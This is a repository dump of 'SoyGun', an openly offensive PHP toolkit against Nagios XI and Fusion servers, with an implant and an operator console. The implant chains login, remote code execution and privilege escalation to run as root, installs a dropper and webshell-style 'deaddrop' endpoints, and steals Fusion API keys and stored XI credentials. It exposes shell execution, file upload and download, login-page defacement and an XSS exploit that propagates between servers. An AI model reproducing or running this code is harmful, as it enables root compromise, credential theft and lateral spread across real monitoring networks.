├── .gitignore ├── fusion_loginsplash.png ├── implant.php ├── soygun.php └── xi_loginsplash.png /.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | /soygun.json 3 | -------------------------------------------------------------------------------- /fusion_loginsplash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skylightcyber/soygun/6054b3969f9c09635298b4fab7a5b99443eb02cb/fusion_loginsplash.png -------------------------------------------------------------------------------- /implant.php: -------------------------------------------------------------------------------- 1 | "", 41 | "self_ip" => "" 42 | ); 43 | 44 | /************ Self IP & Implant Mode are needed for DeadDrop, Payload & Implant ******/ 45 | 46 | // Get Self IP - Using shell command since PHP may return 127.0.0.1 which won't work. 47 | $config["self_ip"] = exec("ip a | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'"); 48 | 49 | // Check Nagios XI/Fusion Version & Get Implant Mode 50 | $mode = ""; 51 | function get_nagios_version($version_file) { 52 | $content = file_get_contents($version_file); 53 | preg_match_all('/full=(?.+)\r?\n/', $content, $matches); 54 | $version = $matches["Version"][0]; 55 | return $version; 56 | } 57 | if(file_exists($xiversion_file)) { 58 | $mode = "xi"; 59 | $version = get_nagios_version($xiversion_file); 60 | if($version != $xiversion) { 61 | die; 62 | } 63 | } 64 | elseif (file_exists($fusionversion_file)) { 65 | $mode = "fusion"; 66 | $version = get_nagios_version($fusionversion_file); 67 | if($version != $fusionversion) { 68 | die; 69 | } 70 | } 71 | else { 72 | $mode = "cli"; 73 | } 74 | 75 | // Define some URLs 76 | $baseurl = "http://{$config["self_ip"]}/nagios{$mode}/"; 77 | $self_implant_url = $baseurl . "includes/implant.php"; 78 | $payload_url = $self_implant_url . "?payload"; 79 | $deaddrop_url = $self_implant_url . "?deaddrop"; 80 | 81 | // Define some paths 82 | $nagiosrootdir = "/usr/local/nagios{$mode}/"; 83 | $tmp_dir = $nagiosrootdir . "tmp/"; 84 | $webroot = $nagiosrootdir . "html/"; 85 | $deaddrop_pbdir = $tmp_dir; 86 | $root_dir = $webroot . "includes/"; 87 | $implant_path = $root_dir . "implant.php"; 88 | define("XI_DROPPER_PATH", BASE_NAGIOSXI_DIR . "/html/includes/dropper.php"); 89 | 90 | /****************************************************************************************************/ 91 | /*************************************** DEADDROP CODE **********************************************/ 92 | /****************************************************************************************************/ 93 | 94 | if(isset($_GET['deaddrop'])) { 95 | if(isset($_POST["pickup"])) { 96 | $sDestinations = $_POST["pickup"]; 97 | $destinations = unserialize($sDestinations); 98 | $files = array(); 99 | foreach($destinations as $destination) { 100 | $files = array_merge($files, glob("{$deaddrop_pbdir}/{$destination}.*")); 101 | } 102 | $contents = array(); 103 | foreach($files as $file) 104 | { 105 | $contents[] = file_get_contents($file); 106 | unlink($file); 107 | } 108 | $output = serialize($contents); 109 | print_r($output); 110 | } 111 | elseif(isset($_POST["drop"])) { 112 | $sFiles = $_POST["drop"]; 113 | $aFiles = unserialize($sFiles); 114 | $count = 0; 115 | foreach($aFiles as $File) { 116 | $count++; 117 | file_put_contents("{$deaddrop_pbdir}/{$File["dest"]}.{$File["id"]}", serialize($File)); 118 | } 119 | } 120 | die; 121 | } 122 | 123 | /****************************************************************************************************/ 124 | /************************************ DEADDROP LIBRARY CODE *****************************************/ 125 | /****************************************************************************************************/ 126 | 127 | // Pickup DeadDrop messages from local ParkBench directory 128 | function dd_pickup_local($deaddrop_path, $destinations) { 129 | $files = array(); 130 | foreach($destinations as $destination) { 131 | $files = array_merge($files, glob("{$deaddrop_path}/{$destination}.*")); 132 | } 133 | $contents = array(); 134 | foreach($files as $file) 135 | { 136 | $contents[] = file_get_contents($file); 137 | unlink($file); 138 | } 139 | return $contents; 140 | } 141 | 142 | // Drop DeadDrop messages in local ParkBench directory 143 | function dd_drop_local($deaddrop_path, $messages) { 144 | $count = 0; 145 | foreach($messages as $message) { 146 | $count++; 147 | file_put_contents("{$deaddrop_path}/{$message["dest"]}.{$message["id"]}", serialize($message)); 148 | } 149 | } 150 | 151 | // Send / Recieve DeadDrop Messages to/from a DeadDrop URL 152 | function dd_send_recv($deaddrop_url, $action, $data) { 153 | $sResult = ""; 154 | $content = array($action => "{$data}"); 155 | $options = array( 156 | 'http' => array( 157 | 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 158 | 'method' => 'POST', 159 | 'content' => http_build_query($content), 160 | 'timeout' => 10, 161 | ) 162 | ); 163 | $context = stream_context_create($options); 164 | set_error_handler(function() { /* ignore errors */ }); 165 | $sResult = file_get_contents($deaddrop_url, false, $context); 166 | restore_error_handler(); 167 | if($sResult == "") { 168 | return array(); 169 | } 170 | $result = unserialize($sResult); 171 | return $result; 172 | } 173 | 174 | // Adds a message to a group of messages 175 | function dd_add($Src, $Dest, $Data) { 176 | return array( 177 | "id" => uniqid(), 178 | "src" => $Src, 179 | "dest" => $Dest, 180 | "ttl" => 13, // TTL of 13 because 13 is lucky 181 | "data" => $Data 182 | ); 183 | } 184 | 185 | // Pick up messages from DeadDrop location 186 | function dd_pickup($deaddrop_url, $Dests) { 187 | $sDests = serialize($Dests); 188 | $Messages = dd_send_recv($deaddrop_url, "pickup", $sDests); 189 | return $Messages; 190 | } 191 | 192 | // Drop messages at DeadDrop location 193 | function dd_drop($deaddrop_url, $Messages) { 194 | $sMessages = serialize($Messages); 195 | $result = dd_send_recv($deaddrop_url, "drop", "{$sMessages}"); 196 | return $result; 197 | } 198 | 199 | /****************************************************************************************************/ 200 | /************************************ FUSION XSS EXPLOIT CODE ***************************************/ 201 | /****************************************************************************************************/ 202 | 203 | function xi_exploit_fusion($arm) { 204 | global $webroot; 205 | global $payload_url; 206 | global $payload_code_b64; 207 | global $config; 208 | 209 | /* We manipulate Nagios files, want to make sure they are as expected and we don't break anything 210 | * other version might have different MD5 sums so these can be updated or YOLO and remove the 211 | * check. 212 | */ 213 | $utils_xmlstatus_origmd5 = "e72d4a5e3b81c15494988b9a5f3e1e17"; 214 | $utils_xmlstatus_path = $webroot . "includes/utils-xmlstatus.inc.php"; 215 | $utils_xmlstatus_newline = << "SELECT * FROM users limit 1", 279 | "b" => "", 280 | "o" => array("columns" => array("username" => array("eval"=> $template))) 281 | ); 282 | $payload = base64_encode(serialize($data)); 283 | $code = <<exec_query(\$sql_cmd); 324 | if(\$ret) { 325 | print("INSERTED:{\$ret}\\n"); 326 | } else { 327 | print("FAIL"); 328 | } 329 | } 330 | STR; 331 | print($code); 332 | } 333 | elseif($stage == 2) 334 | { 335 | // STAGE 2 - The actual code that will run as root on the target Nagios Fusion or XI 336 | $implant_code = file_get_contents(__FILE__); 337 | print($implant_code); 338 | } 339 | // Always die at the end of 'payload' code 340 | die; 341 | } 342 | 343 | /****************************************************************************************************/ 344 | /************************************* XI SERVER EXPLOIT CODE ***************************************/ 345 | /****************************************************************************************************/ 346 | 347 | function exploit_xi($xi) { 348 | global $config; 349 | global $implant_path; 350 | global $tmp_dir; 351 | 352 | $nsp = ""; 353 | 354 | print("Exploiting XI @ {$xi['url']}.\n"); 355 | $login_url = $xi['url'] . "/login.php"; 356 | 357 | // Initialize cURL 358 | $curl = curl_init(); 359 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 360 | curl_setopt($curl, CURLOPT_TIMEOUT, 60); 361 | curl_setopt($curl, CURLOPT_COOKIESESSION, true); 362 | curl_setopt($curl, CURLOPT_COOKIEJAR, $tmp_dir . 'implantxi.cookie'); 363 | curl_setopt($curl, CURLOPT_COOKIEFILE, $tmp_dir . 'implantxi.cookie'); 364 | 365 | // Get login.php to get NSP 366 | // TODO: Validate that it's an XI or nah? 367 | print("Getting NSP from {$login_url}... "); 368 | curl_setopt($curl, CURLOPT_URL, $login_url); 369 | $resp = curl_exec($curl); 370 | preg_match_all('/var nsp_str = "(?.+)";/', $resp, $matches); 371 | if(count($matches["NSP"]) > 0) { 372 | $nsp = $matches["NSP"][0]; 373 | } else { 374 | print("ERROR: Failed get NSP from login page.\n"); 375 | return $xi; 376 | } 377 | unset($resp); 378 | print("OK.\n"); 379 | 380 | // Login - this returns a 302, that we follow and get the new NSP 381 | print("Logging in with {$xi['username']}/{$xi['password']}... "); 382 | $login_params = array( 383 | "nsp" => $nsp, 384 | "page" => "auth", 385 | "debug" => "", 386 | "pageopt" => "login", 387 | "username" => $xi['username'], 388 | "password" => $xi['password'], 389 | "loginButton" => "" 390 | ); 391 | curl_setopt($curl, CURLOPT_URL, $login_url); 392 | curl_setopt($curl, CURLOPT_POST, true); 393 | curl_setopt($curl, CURLOPT_POSTFIELDS, $login_params); 394 | curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); 395 | $resp = curl_exec($curl); 396 | // Get NSP from response 397 | preg_match_all('/var nsp_str = "(?.+)";/', $resp, $matches); 398 | if(count($matches["NSP"]) > 0) { 399 | $nsp = $matches["NSP"][0]; 400 | } else { 401 | print("ERROR: Failed to login.\n"); 402 | print("{$resp}\n"); 403 | return $xi; 404 | } 405 | print("OK.\n"); 406 | 407 | /* Exploit Nagios XI */ 408 | print("Deploying dropper... "); 409 | // Step 1: Use RCE + Priv Esc to deploy dropper in html/includes to drop the implant 410 | // Contents of the file dropper PHP script to be deployed in the webroot. 411 | // Unfortunately the webroot isn't writable by 'apache' user so we have to use the 412 | // priv esc to drop this file... T.T 413 | $dropper_code = " " . XI_DROPPER_PATH; 416 | $resp = xi_rce_and_privesc($curl, $xi, $nsp, $run_as_root); 417 | if(!$resp) 418 | { 419 | print("Error occured."); 420 | return; 421 | } 422 | print("OK.\n"); 423 | 424 | // Step 2: Use send dropper implant.php 425 | print("Deploying implant to temp dir... "); 426 | $xi_implant_path = BASE_NAGIOSXI_DIR . "/tmp/implant.php"; 427 | $params = array( 428 | "f" => $xi_implant_path, 429 | "d" => base64_encode(file_get_contents(__FILE__)) 430 | ); 431 | 432 | curl_setopt($curl, CURLOPT_URL, $xi['url'] . "/includes/dropper.php"); 433 | curl_setopt($curl, CURLOPT_POST, true); 434 | curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params)); 435 | $resp = curl_exec($curl); 436 | if(curl_getinfo($curl, CURLINFO_HTTP_CODE) != "200") 437 | { 438 | print("Error occured: " . curl_error($curl) . "\n"); 439 | return; 440 | } 441 | print("OK.\n"); 442 | 443 | // Step 2: Use RCE + Priv Esc to launch implant.php 444 | print("Launching implant... "); 445 | $run_as_root = "mv ".BASE_NAGIOSXI_DIR."/tmp/implant.php ".BASE_NAGIOSXI_DIR."/html/includes/; php ".BASE_NAGIOSXI_DIR."/html/includes/implant.php {$config["self_ip"]} &"; 446 | $resp = xi_rce_and_privesc($curl, $xi, $nsp, $run_as_root); 447 | // ignore return value. 448 | print("OK.\n"); 449 | 450 | // Mark XI as exploited 451 | $xi['exploited'] = TRUE; 452 | curl_close($curl); 453 | print("DONE!\n"); 454 | return $xi; 455 | } 456 | 457 | function xi_rce_and_privesc($curl, $xi, $nsp, $run_as_root) { 458 | $profile_name = "evil"; 459 | $phpmailer_temp = BASE_NAGIOSXI_DIR . "/tmp/phpmailer.log"; 460 | $evil_profile = BASE_NAGIOSXI_DIR . "/var/components/profile/$profile_name"; 461 | $repair_db_script = BASE_NAGIOSXI_DIR . "/scripts/repair_databases.sh"; 462 | $base_nagiosxi_dir = BASE_NAGIOSXI_DIR; 463 | // Priv Esc Bash 464 | $xi_privesc_sh = << 0; $count--) { 559 | $users[] = mysql_fetch_assoc($query_result); 560 | } 561 | print("OK.\n"); 562 | 563 | print("Getting fused server details... "); 564 | $servers = array(); 565 | foreach($users as $user) { 566 | // Needs to be a user with API enabled and an API Key set 567 | if($user['api_enabled'] and $user['api_key']) { 568 | $curl = curl_init(); 569 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE); 570 | curl_setopt( $curl, CURLOPT_COOKIESESSION, true); 571 | curl_setopt( $curl, CURLOPT_COOKIEJAR, 'tmp/implant.cookie'); 572 | curl_setopt( $curl, CURLOPT_COOKIEFILE, 'tmp/implant.cookie'); 573 | curl_setopt($curl, CURLOPT_URL, $baseurl . 'api/v1/?apikey=' . $user['api_key']); 574 | $resp = curl_exec($curl); 575 | unset($resp); 576 | curl_setopt($curl, CURLOPT_URL, $baseurl . 'includes/implant.php?servers'); 577 | $resp = curl_exec($curl); 578 | $servers = unserialize($resp); 579 | curl_close($curl); 580 | break; 581 | } 582 | } 583 | foreach($servers as $xi) { 584 | $xi_ip = parse_url($xi["url"], PHP_URL_HOST); 585 | $xi_new = array( 586 | "type" => "xi", 587 | "ip" => $xi_ip, 588 | "url" => $xi["url"], 589 | "name" => $xi["name"], 590 | "username" => $xi["username"], 591 | "password" => $xi["password"], 592 | ); 593 | // Set the 0th XI to the callback XI 594 | if($xi_new['ip'] == $callback_ip) { 595 | $xi_new['exploited'] = TRUE; 596 | $xi_new["deaddrop"] = "{$xi["url"]}/includes/implant.php?deaddrop"; 597 | array_unshift($xis, $xi_new); 598 | } else { 599 | // Append XI details to array 600 | $xi_new['exploited'] = FALSE; 601 | $xi_new["deaddrop"] = ""; 602 | $xi_new["parent"] = $config["self_ip"]; 603 | $xis[] = $xi_new; 604 | } 605 | } 606 | $count = count($xis); 607 | print("OK.\n"); 608 | print(" * {$count} fused servers\n"); 609 | print_r($xis); 610 | // Send list of fused XI servers back to callback IP 611 | $messages[] = dd_add($config["self_ip"], $callback_ip, "FUSEDXI:" . serialize($xis)); 612 | dd_drop($callback_deaddrop, $messages); 613 | } 614 | elseif($mode == "xi") { 615 | // Delete the dropper.php file used to deploy the implant 616 | if(file_exists(XI_DROPPER_PATH)) { 617 | unlink(XI_DROPPER_PATH); 618 | } 619 | } 620 | 621 | print("Mode: {$mode}\n"); 622 | print("Self IP: {$config["self_ip"]}\n"); 623 | print("Callback IP: {$callback_ip}\n"); 624 | print("Callback DeadDrop: {$callback_deaddrop}\n"); 625 | 626 | /******************************** SoyGun Implant Main Loop *************************************/ 627 | 628 | print("Starting SoyGun {$mode} implant main loop... \xE2\x88\x9E\n"); // Inifity Symbol 629 | $uninstall = FALSE; 630 | while($uninstall == FALSE) { 631 | 632 | /****** Get DeadDrop Messages ********/ 633 | $dests = array(); 634 | foreach($xis as $xi) { 635 | $dests[] = $xi["ip"]; 636 | } 637 | $dests[] = $config["self_ip"]; 638 | $messages = dd_pickup_local($deaddrop_pbdir, $dests); // Pickup all local messages 639 | 640 | // If Fusion, pickup all messages from exploited XIs 641 | if($mode == "fusion") { 642 | $xis_temp = $xis; 643 | for($i = 0; $i < count($xis); $i++) { 644 | $dests = array(); 645 | $current_xi = array_shift($xis_temp); 646 | if($current_xi['exploited']) { 647 | foreach($xis_temp as $xi) { 648 | $dests[] = $xi["ip"]; 649 | } 650 | $dests[] = $config["self_ip"]; 651 | if($config["cli_ip"] != "") { 652 | $dests[] = $config["cli_ip"]; 653 | } 654 | //print("Picking up messages from {$current_xi["ip"]}. Destined to: \n"); 655 | //print_r($dests); 656 | $messages = array_merge($messages, dd_pickup($current_xi["deaddrop"], $dests)); 657 | } 658 | // Put processed XI back in list 659 | $xis_temp[] = $current_xi; 660 | } 661 | } 662 | 663 | /****** Process Messages ********/ 664 | $responses = array(); 665 | foreach($messages as $message) { 666 | $result = ""; 667 | $message = unserialize($message); 668 | $data = $message["data"]; 669 | $command = explode(":", $data); 670 | $action = array_shift($command); 671 | 672 | // If message is not destined to self and not Exploit action then forward the message 673 | if($message["dest"] != $config["self_ip"] and $action != "EXPLOIT") { 674 | $dd = ""; 675 | if($message["dest"] == $config["cli_ip"]) { 676 | $dd = $callback_deaddrop; 677 | } else { 678 | foreach($xis as $xi) { 679 | if($xi["ip"] == $message["dest"]) { 680 | $dd = $xi["deaddrop"]; 681 | } 682 | } 683 | } 684 | if($dd == "") { 685 | print("ERROR: Failed to correctly forward message\n"); 686 | print_r($message); 687 | } else { 688 | print("Forwarding messages to {$dd}\n"); 689 | $msg = array(dd_add($message["src"], $message["dest"], $message["data"])); 690 | dd_drop($dd, $msg); 691 | } 692 | continue; // foreach message loop 693 | } 694 | 695 | /***** Generic commands for both XI and Fusion Actions *****/ 696 | switch($action) { 697 | // Execute local command 698 | case "EXEC": 699 | print("Recieved exec from {$message["src"]}\n"); 700 | $cmdline = join(":", $command); // In case ":" is used in any commands 701 | $result = shell_exec($cmdline); 702 | break; 703 | case "PING": 704 | print("Recieved ping from {$message["src"]}\n"); 705 | $result = "ACK"; 706 | break; 707 | case "BEACON": 708 | $type = array_shift($command); 709 | if($type == "FUSION" and $mode == "xi") { 710 | print("Recieved Beacon from Fusion @ {$message["src"]}\n"); 711 | $result = xi_exploit_fusion(0); // Got a BEACON from exploited Fusion so Unarm 712 | // Send message to callback 713 | $msg_to_callback = "RESP:EXPLOIT:FUSION_Success:{$message["src"]}"; 714 | $msgs = array(dd_add($config["self_ip"], $callback_ip, $msg_to_callback)); 715 | dd_drop_local($deaddrop_pbdir, $msgs); 716 | unset($msgs); 717 | } elseif ($type == "XI") { 718 | // Do something else 719 | print("Recieved Beacon from XI @ {$message["src"]}\n"); 720 | $result = "RESPONSE"; 721 | } else { 722 | $result = "ERROR"; 723 | } 724 | break; 725 | case "GET": 726 | $src = array_shift($command); 727 | $dst = array_shift($command); 728 | print("Sending file {$src} to {$message["src"]}\n"); 729 | $data = base64_encode(file_get_contents($src)); 730 | $result = "{$src}:{$dst}:{$data}"; 731 | break; 732 | case "PUT": 733 | $path = array_shift($command); 734 | $data = base64_decode(array_shift($command)); 735 | print("Writing file to {$path}\n"); 736 | file_put_contents($path, $data); 737 | $result = "SUCCESS"; 738 | break; 739 | case "UNINSTALL": 740 | if($mode == "fusion") { 741 | mysql_close($db_link); 742 | } 743 | elseif($mode == "xi") { 744 | xi_exploit_fusion(0); // Unarm XI if armed 745 | } 746 | unlink($implant_path); 747 | $uninstall = TRUE; 748 | $result = "ACK"; 749 | break; 750 | case "FUSEDXI": 751 | print("Fused XI list recieved from {$message["src"]}... forwarding to {$callback_ip}\n"); 752 | $message["src"] = $callback_ip; 753 | $result = join(":", $command); 754 | break; 755 | case "ADD_FLAMES": 756 | switch($mode) 757 | { 758 | case "xi": 759 | $base_dir = BASE_NAGIOSXI_DIR; 760 | break; 761 | case "fusion": 762 | $base_dir = BASE_NAGIOSFUSION_DIR; 763 | break; 764 | } 765 | if(!file_exists("$base_dir/html/_login.php")) 766 | { 767 | rename("$base_dir/html/login.php", "$base_dir/html/_login.php"); 768 | $new_html = << 770 | STR; 771 | $new_html_b64 = base64_encode($new_html); 772 | $data = <<", "
\$new_html", \$output); 778 | } 779 | ob_start("add_flames_filter_output"); 780 | require(dirname(__FILE__) . "/_login.php"); 781 | STR; 782 | file_put_contents("$base_dir/html/login.php", $data); 783 | } 784 | $result = "SUCCESS"; 785 | break; 786 | } 787 | 788 | /****** Implant type specific command handling *****/ 789 | if($result == "") { // Only run if we haven't got a response already 790 | if($mode == "xi") { 791 | switch($action) { 792 | // Arm Nagios XI to exploit fused Fusions 793 | case "ARM": 794 | $result = xi_exploit_fusion(1); 795 | break; 796 | case "UNARM": 797 | $result = xi_exploit_fusion(0); // Got a BEACON from an exploited Fusion 798 | break; 799 | } 800 | } 801 | elseif ($mode == "fusion") { 802 | switch($action) { 803 | case "EXPLOIT": 804 | $xi_ip = array_shift($command); 805 | print("Recieved command to exploit XI @ {$xi_ip} from {$message["src"]}\n"); 806 | for($count = 0; $count < count($xis); $count++) { 807 | if($xis[$count]["ip"] == $xi_ip and $xis[$count]["exploited"] == FALSE) { 808 | $xis[$count]["exploited"] = TRUE; 809 | // Add the deaddrop URL now that it is exploited 810 | $xis[$count]["deaddrop"] = $xis[$count]["url"] . "/includes/implant.php?deaddrop"; 811 | $xis[$count]["parent"] = $config["self_ip"]; 812 | exploit_xi($xis[$count]); 813 | $result = "SUCCESS"; 814 | break; 815 | } 816 | } 817 | break; 818 | case "CLI_IP": 819 | $config["cli_ip"] = array_shift($command); 820 | print("Notified of CLI @ {$config["cli_ip"]}\n"); 821 | $result = "ACK"; 822 | break; 823 | } 824 | } 825 | } 826 | 827 | // Add result if any... 828 | if($result != "") { 829 | $responses[] = dd_add($config["self_ip"], $message["src"], "RESP:" . $action . ":" . $result); 830 | } else { 831 | print("WARN: Unhandled message\n"); 832 | print_r($message); 833 | } 834 | } 835 | 836 | /****** Fusion & XI Handle Responses Differently & sleep different amounts ******/ 837 | if($mode == "fusion") { 838 | if(count($responses) > 0) { 839 | dd_drop($callback_deaddrop, $responses); 840 | } 841 | sleep(13); // Since fusion queries HTTP DeadDrops increase the sleep time 842 | } elseif ($mode == "xi") { 843 | if(count($responses) > 0) { 844 | dd_drop_local($deaddrop_pbdir, $responses); 845 | } 846 | sleep(3); // Nagios XI does not query any HTTP DeadDrops so can loop at a higher frequency 847 | } 848 | } // while(...) 849 | 850 | // NOTE: There is a delay in the uninstall but it's ok since we will want to get the 851 | // ACK back from the uninstall plus who cares? 852 | // Uninstall 853 | exit(0); 854 | } 855 | 856 | ?> -------------------------------------------------------------------------------- /soygun.php: -------------------------------------------------------------------------------- 1 | $config["xis"], "Fusions" => $config["fusions"])); 30 | print("~~~~~~~~~~~~~~~~~~~~~~~~~~ End Config ~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n"); 31 | } 32 | 33 | if(!function_exists("readline")) { 34 | function readline($prompt = null){ 35 | if($prompt){ 36 | echo $prompt; 37 | } 38 | $fp = fopen("php://stdin","r"); 39 | $line = rtrim(fgets($fp, 1024)); 40 | return $line; 41 | } 42 | } 43 | 44 | 45 | /** 46 | * Load config from soygun.conf 47 | */ 48 | function load_config() { 49 | $config = @file_get_contents(CONFIG_FILE); 50 | if(!empty($config)) { 51 | $config = json_decode($config, true); 52 | print("Config loaded from " . CONFIG_FILE . "...\n"); 53 | } else { 54 | $config = array( 55 | "self_ip" => getHostByName(getHostName()), // Self IP Address 56 | "xis" => array(), // List of XIs 57 | "fusions" => array(), // List of Fusions 58 | "deaddrop" => "" // Deaddrop to use when sending or recieving messages 59 | ); 60 | } 61 | return $config; 62 | } 63 | 64 | /** 65 | * Save config to soygun.json 66 | */ 67 | function save_config() { 68 | global $config; 69 | file_put_contents(CONFIG_FILE, json_encode($config, defined("JSON_PRETTY_PRINT") ? JSON_PRETTY_PRINT : 0)); 70 | print("Running config saved to " . CONFIG_FILE . "!\n"); 71 | } 72 | 73 | /* Header to print when starting SoyGun CLI */ 74 | $header = << \n"); 100 | } 101 | 102 | /* Print the help message */ 103 | function print_help() { 104 | global $header; 105 | print($header); 106 | print << Change context into XI or Fusion of given ID 117 | add xi 118 | add fusion 119 | del 120 | get | sync | CR Get messages from DeadDrop 121 | set [thing] 122 | selfip 123 | show [thing] 124 | context | ctx 125 | selfip | sip 126 | xis 127 | fusions 128 | run | config 129 | start 130 | save 131 | exec Execute shell command in current context 132 | add_flames Add flames to Nagios logo 133 | \n\n\n 134 | STR; 135 | } 136 | 137 | /** 138 | * Send a message using DeadDrop from the current context 139 | */ 140 | function send_message($message) { 141 | global $context; 142 | global $config; 143 | $dest = $context["ip"]; 144 | $messages = array(); 145 | $messages[] = dd_add($config["self_ip"], $dest, $message); 146 | dd_drop($config["deaddrop"], $messages); 147 | } 148 | 149 | print($header); 150 | $config = load_config(); 151 | 152 | // Default context 153 | $default_context = array( 154 | "ip"=> $config["self_ip"], 155 | "type"=> "local", 156 | ); 157 | $context = $default_context; 158 | 159 | /** 160 | * Process any messages recieved - only handling essentials right now 161 | */ 162 | function process_message($message) { 163 | global $config; 164 | 165 | $data = explode(":", $message["data"]); 166 | $type = array_shift($data); 167 | if($type == "RESP") { 168 | $action = array_shift($data); 169 | switch($action) { 170 | case "FUSEDXI": 171 | $fused_xis = unserialize(join(":", $data)); 172 | print("Recieved Fused Servers from {$message["src"]}\n"); 173 | $mod_count = 0; 174 | $add_count = 0; 175 | foreach($fused_xis as $fused_xi) { 176 | $set = FALSE; 177 | // Update the default XI details 178 | // Check if we already have this XI registered 179 | foreach($config["xis"] as $xi) { 180 | if($fused_xi["ip"] == $xi["ip"]) { 181 | $set = TRUE; 182 | $mod_count++; 183 | $xi["url"] = $fused_xi["url"]; 184 | $xi["username"] = $fused_xi["username"]; 185 | $xi["password"] = $fused_xi["password"]; 186 | $xi["name"] = $fused_xi["name"]; 187 | break; 188 | } 189 | } 190 | if($set == FALSE) { 191 | $add_count++; 192 | $config["xis"][] = $fused_xi; 193 | } 194 | } 195 | print(" * {$mod_count} XIs modified.\n"); 196 | print(" * {$add_count} new XIs added.\n"); 197 | break; 198 | case "EXPLOIT": 199 | $result = array_shift($data); 200 | if($result == "FUSION_Success") { 201 | print("Recieved fusion exploit success from {$message["src"]}\n"); 202 | $fusion_ip = array_shift($data); 203 | $config["fusions"][] = array( 204 | "type" => "fusion", 205 | "ip" => $fusion_ip, 206 | "exploited" => TRUE, 207 | "parent" => $message["src"] 208 | ); 209 | print(" * New Fusion added @ {$fusion_ip}\n"); 210 | // Tell Fusion about us 211 | $msg = array(dd_add($config["self_ip"], $fusion_ip, "CLI_IP:{$config["self_ip"]}")); 212 | dd_drop($config["deaddrop"], $msg); 213 | } 214 | break; 215 | case "GET": 216 | $src = array_shift($data); 217 | $dst = array_shift($data); 218 | $data = base64_decode(array_shift($data)); 219 | print("Writing {$dst} from {$message["src"]}:{$src}\n"); 220 | file_put_contents($dst, $data); 221 | break; 222 | default: 223 | if(isset($message["data"])) 224 | print("Recieved message '{$message['data']}' from {$message['src']}\n"); 225 | else 226 | json_print($message); 227 | break; 228 | } 229 | } elseif ($type == "BEACON") { 230 | $action = array_shift($data); 231 | if($action == "XI") { 232 | print("Recieved beacon from XI @ {$message["src"]}\n"); 233 | foreach($config["xis"] as $xi) 234 | { 235 | if($xi["ip"] == $message["src"]) { 236 | print(" * Setting as exploited\n"); 237 | $xi["exploited"] = TRUE; 238 | } 239 | } 240 | } 241 | } 242 | else { 243 | json_print($message); 244 | } 245 | } 246 | 247 | /****************************************************************************************************/ 248 | /*************************************** SOYGUN CLI INFINITE LOOP ***********************************/ 249 | /****************************************************************************************************/ 250 | 251 | while(1) { 252 | print_prompt(); 253 | $raw = readline(); 254 | $command = explode(" ", $raw); 255 | $action = array_shift($command); 256 | switch($action) { 257 | case "quit": 258 | case "exit": 259 | print("Goodbye!\n"); 260 | exit(0); 261 | break; 262 | case "save": // Save running config 263 | save_config(); 264 | break; 265 | case "load": // Load config from startup config 266 | $config = load_config(); 267 | break; 268 | case "set": 269 | $item = array_shift($command); 270 | switch($item) { 271 | case "selfip": 272 | $config["self_ip"] = array_shift($command); 273 | $default_context["ip"] = $config["self_ip"]; 274 | // If we are in default context update the context to new default 275 | if($context["type"] == "local") { 276 | $context = $default_context; 277 | } 278 | print("Self IP set to {$config["self_ip"]}\n"); 279 | break; 280 | case "deaddrop": 281 | // DeadDrop URL 282 | $config["deaddrop"] = array_shift($command); 283 | break; 284 | } 285 | break; 286 | case "add": 287 | $type = strtolower(array_shift($command)); 288 | if($type == "xi") { 289 | if(count($command) != 3) { 290 | print("ERROR: Wrong commands 'add xi '\n"); 291 | break; 292 | } 293 | $xi_ip = array_shift($command); 294 | $xi = array( 295 | "type" => "xi", 296 | "ip" => $xi_ip, 297 | "url" => "http://{$xi_ip}/nagiosxi", 298 | "username" => array_shift($command), 299 | "password" => array_shift($command), 300 | "deaddrop" => "http://{$xi_ip}/nagiosxi/includes/implant.php?deaddrop", 301 | "parent" => $config["self_ip"], 302 | "exploited" => FALSE 303 | 304 | ); 305 | $config["xis"][$xi_ip] = $xi; 306 | print("New XI Added\nXIs:\n"); 307 | print(implode("", array_map(function ($name){ return "* ".$name."\n"; }, array_keys($config["xis"]))) . "\n"); 308 | 309 | // If no deaddrop is configured set it to this XI 310 | if($config["deaddrop"] == "") { 311 | print("No DeadDrop currently set... "); 312 | $config["deaddrop"] = $xi["deaddrop"]; 313 | print("now set to: {$config["deaddrop"]}\n"); 314 | } 315 | } 316 | // Adding a Fusion 317 | elseif ($type == "fusion") { 318 | $ip = array_shift($command); 319 | $config["fusions"][$ip] = array( 320 | "type" => "fusion", 321 | "ip" => $ip, 322 | "exploited" => FALSE 323 | ); 324 | print("New Fusion Added. Fusions: \n"); 325 | print(implode("", array_map(function ($name){ return "* ".$name."\n"; }, array_keys($config["fusions"]))) . "\n"); 326 | } 327 | break; 328 | case "del": 329 | case "delete": 330 | $type = strtolower(array_shift($command)); 331 | $name = array_shift($command); 332 | switch($type) 333 | { 334 | case "xi": 335 | unset($config["xis"][$name]); 336 | break; 337 | case "fusion": 338 | unset($config["fusions"][$name]); 339 | break; 340 | default: 341 | print("Bad type\n"); 342 | return; 343 | } 344 | print("Done.\n"); 345 | break; 346 | case "": 347 | case "sync": 348 | $dests = array($config["self_ip"]); 349 | while(count($command) > 0) { 350 | $dests[] = array_shift($command); 351 | } 352 | $Messages = dd_pickup($config["deaddrop"], $dests); 353 | if(count($Messages) > 0) { 354 | foreach($Messages as $Message) { 355 | $Message = unserialize($Message); 356 | process_message($Message); 357 | } 358 | } 359 | break; 360 | case "send": 361 | if(count($command) != 1) { 362 | print("ERROR: Bad Args! Usage: send \n"); 363 | } else { 364 | if($context["ip"] == "localhost") { 365 | print("Cannot send message to localhost. Change context to XI or Fusion.\n"); 366 | } else { 367 | $message = join(" ", $command); 368 | print("Sending message '{$message}' to {$context["ip"]}\n"); 369 | send_message($message); 370 | } 371 | } 372 | break; 373 | case "?": 374 | case "help": 375 | print_help(); 376 | break; 377 | case "exe": 378 | case "exec": 379 | $cmdline = join(" ", $command); 380 | print("Executing '{$cmdline}' on {$context["ip"]}.\n"); 381 | if($context["type"] == "local") { 382 | print(shell_exec($cmdline)); 383 | } else { 384 | send_message("EXEC:" . $cmdline); 385 | } 386 | break; 387 | case 